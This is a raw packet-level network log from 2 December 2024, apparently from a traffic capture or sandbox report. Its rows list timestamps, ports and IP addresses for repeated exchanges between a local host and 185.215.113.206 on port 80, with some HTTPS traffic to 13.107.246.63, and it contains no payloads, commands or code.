Dec 2, 2024 07:37:59.501691103 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.501698971 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.501753092 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.502305984 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.502382994 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.502413034 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.502461910 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.503120899 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.503168106 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.503184080 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.503222942 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.503928900 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.503978014 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.578377008 CET	443	49841	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:59.578996897 CET	49841	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:59.579011917 CET	443	49841	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:59.579499006 CET	49841	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:59.579503059 CET	443	49841	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:59.583484888 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.583556890 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.583570004 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.583621979 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.583863974 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.583885908 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.583915949 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.583942890 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.584702015 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.584784985 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.584800005 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.584844112 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.585474014 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.585566044 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.585746050 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.585808992 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.585844040 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.585889101 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.586564064 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.586615086 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.586635113 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.586657047 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.587378025 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.587430954 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.587472916 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.587521076 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.588185072 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.588236094 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.588274956 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.588341951 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.589010000 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.589066982 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.589099884 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.589143038 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.589867115 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.589934111 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.589975119 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.590059042 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.590622902 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.590686083 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.590739012 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.590785027 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.591500044 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.591590881 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.591613054 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.591660976 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.592255116 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.592314959 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.592386007 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.592523098 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.593077898 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.593123913 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.593143940 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.593168974 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.593949080 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.594005108 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.594007015 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.594048023 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.594690084 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.594742060 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.594805002 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.594861031 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.595509052 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.595560074 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.595596075 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.595679045 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.596333027 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.596390009 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.596396923 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.596478939 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.597131968 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.597210884 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.597239971 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.597284079 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.597944975 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.597992897 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.598048925 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.598109007 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.598753929 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.598803043 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.598892927 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.598949909 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.599035025 CET	443	49842	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:59.599477053 CET	49842	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:59.599502087 CET	443	49842	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:59.599625111 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.599674940 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.599719048 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.599766970 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.599962950 CET	49842	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:59.599968910 CET	443	49842	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:59.600424051 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.600495100 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.600496054 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.600558996 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.601202011 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.601268053 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.601296902 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.601342916 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.602015972 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.602072001 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.602077007 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.602171898 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.602844954 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.602907896 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.602936029 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.602976084 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.603652954 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.603703976 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.603735924 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.603835106 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.604444981 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.604506016 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.604553938 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.604635000 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.605289936 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.605345011 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.605345964 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.605397940 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.606069088 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.606118917 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.606158018 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.606245041 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.606904030 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.606969118 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.606972933 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.607022047 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.686467886 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.686547995 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.686603069 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.686642885 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.686873913 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.686918974 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.686985016 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.687030077 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.687565088 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.687612057 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.687634945 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.687732935 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.688287020 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.688353062 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.688388109 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.688472986 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.689101934 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.689142942 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.689193964 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.689234972 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.689919949 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.689969063 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.689995050 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.690032959 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.690754890 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.690819979 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.690838099 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.690882921 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.691623926 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.691658974 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.691677094 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.691731930 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.692342043 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.692384005 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.692405939 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.692511082 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.693180084 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.693232059 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.693341017 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.693382025 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.693964958 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.694006920 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.694076061 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.694124937 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.694830894 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.694874048 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.694966078 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.695013046 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.695622921 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.695708990 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.695724964 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.695769072 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.696417093 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.696466923 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.696535110 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.696599007 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.697227001 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.697276115 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.697346926 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.697405100 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.698045015 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.698081017 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.698169947 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.698215008 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.698925972 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.698982000 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.698993921 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.699090004 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.699656963 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.699693918 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.699805021 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.699841022 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.700462103 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.700525045 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.700676918 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.700732946 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.701288939 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.701339960 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.701447010 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.701488972 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.702094078 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.702136993 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.702157021 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.702174902 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.702928066 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.702972889 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.703037024 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.703129053 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.703710079 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.703761101 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.703931093 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.703984022 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.704566002 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.704618931 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.740319014 CET	443	49839	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:59.743583918 CET	443	49839	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:59.743649006 CET	49839	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:59.743701935 CET	49839	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:59.743720055 CET	443	49839	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:59.743737936 CET	49839	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:59.743743896 CET	443	49839	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:59.747205019 CET	49843	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:59.747240067 CET	443	49843	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:59.747333050 CET	49843	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:59.747528076 CET	49843	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:59.747538090 CET	443	49843	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:59.784847021 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.784919024 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.784974098 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.785020113 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.785258055 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.785310030 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.785335064 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.785377026 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.786129951 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.786178112 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.786186934 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.786216021 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.786917925 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.786964893 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.787231922 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.787246943 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.787272930 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.787302971 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.788007975 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.788052082 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.788080931 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.788124084 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.788767099 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.788815022 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.788880110 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.788927078 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.789585114 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.789634943 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.789649010 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.789695024 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.790525913 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.790585041 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.790618896 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.790659904 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.791229010 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.791281939 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.791328907 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.791388035 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.792042017 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.792085886 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.792154074 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.792274952 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.792845964 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.792896986 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.792949915 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.792996883 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.793651104 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.793699980 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.793771029 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.793814898 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.794483900 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.794537067 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.794589043 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.794631004 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.795295954 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.795340061 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.795394897 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.795444965 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.796123028 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.796171904 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.796210051 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.796257019 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.796936035 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.796983957 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.797033072 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.797072887 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.797743082 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.797816038 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.797853947 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.797894001 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.798537970 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.798588991 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.798655987 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.798698902 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.799375057 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.799422979 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.799474955 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.799586058 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.800185919 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.800230026 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.800292969 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.800335884 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.800971985 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.801013947 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.801091909 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.801161051 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.801856995 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:59.801904917 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:59.801939011 CET	80	49823	185.215.113.206	192.168.2.6
